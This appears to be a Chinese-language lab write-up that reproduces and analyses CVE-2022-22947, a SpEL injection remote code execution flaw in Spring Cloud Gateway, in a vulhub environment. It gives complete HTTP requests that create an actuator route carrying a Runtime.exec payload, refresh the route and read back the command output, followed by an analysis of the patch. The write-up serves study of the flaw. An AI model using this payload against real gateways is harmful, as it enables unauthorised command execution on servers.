0x01 漏洞复现
环境:vulhub/spring/CVE-2022-22947

步骤:
1、新建路由
规则
{
  "id": "first_route",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/first"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}]| 路径 | 类型 | 描述 | 
| id | 字符串 | 路由ID | 
| predicates | 数组 | 路由断言的集合。每项都定义给断言的名称和参数 | 
| filters | 数组 | 应用于路由的筛选器集合 | 
| url | 字符串 | 路由的目标url | 
| order | 数 | 路由顺序 | 
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}2、刷新路由

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 23、访问路由
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 44、删除路由
0x02 漏洞分析
查看开发如何修复的

主要是将 StandardEvaluationContext替换成GatewayEvaluationContext。
GatewayEvaluationContext通过delegate实现了接口EvaluationContext。

通过对官方文档的说明,Spring Cloud Gateway 中文文档 (springdoc.cn),去寻找actuator(或者actuate)相关的代码




上面根据类的继承关系一路找到了GatewayControllerEndpoint
找getroutes


最后找到了getRoutes
如果利用调试+打断点,最后可以确定变量的传递是loadGatewayFilters() -> getFilters() -> convertToRoute() -> getRoutes()
0x03 StandardEvaluationContext 和 GateEvaluationContext
1、SpEL解析器的不同

GateEvalutionContext中的解析器设置
2、只读的SpEL表达式

0x04 参考
SpEL表达式注入漏洞学习和回显poc研究 – bitterz – 博客园 (cnblogs.com)
CVE-2022-22947 远程代码执行漏洞复现分析 – FreeBuf网络安全行业门户